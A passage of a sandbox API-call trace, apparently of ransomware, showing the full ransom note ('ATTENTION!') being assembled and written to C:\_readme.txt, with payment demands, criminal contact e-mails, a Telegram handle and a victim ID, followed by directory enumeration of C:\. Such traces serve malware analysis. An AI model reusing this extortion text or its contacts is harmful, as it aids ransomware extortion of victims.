for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.415] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0124.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x910) returned 0x31015c0 [0124.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x882) returned 0x3101ed8 [0124.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3101ed8, cbMultiByte=2178, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 1155 [0124.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x3102768 [0124.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3101ed8 | out: hHeap=0x5c0000) returned 1 [0124.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x31015c0 | out: hHeap=0x5c0000) returned 1 [0124.417] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned 1154 [0124.418] WriteFile (in: hFile=0x620, lpBuffer=0x3102768*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x398fb64, lpOverlapped=0x0 | out: lpBuffer=0x3102768*, lpNumberOfBytesWritten=0x398fb64*=0x482, lpOverlapped=0x0) returned 1 [0124.418] CloseHandle (hObject=0x620) returned 1 [0124.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3102768 | out: hHeap=0x5c0000) returned 1 [0124.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f98b8 | out: hHeap=0x5c0000) returned 1 [0124.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.419] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x306c8a0 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076d00 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x306c8e0 | out: hHeap=0x5c0000) returned 1 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.421] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3061720 | out: hHeap=0x5c0000) returned 1 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.421] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x83eef9c0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0124.421] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.422] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x83eef9c0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0124.422] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.422] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x59204410, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x59204410, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0124.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.423] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.423] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.423] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040450 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038078 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 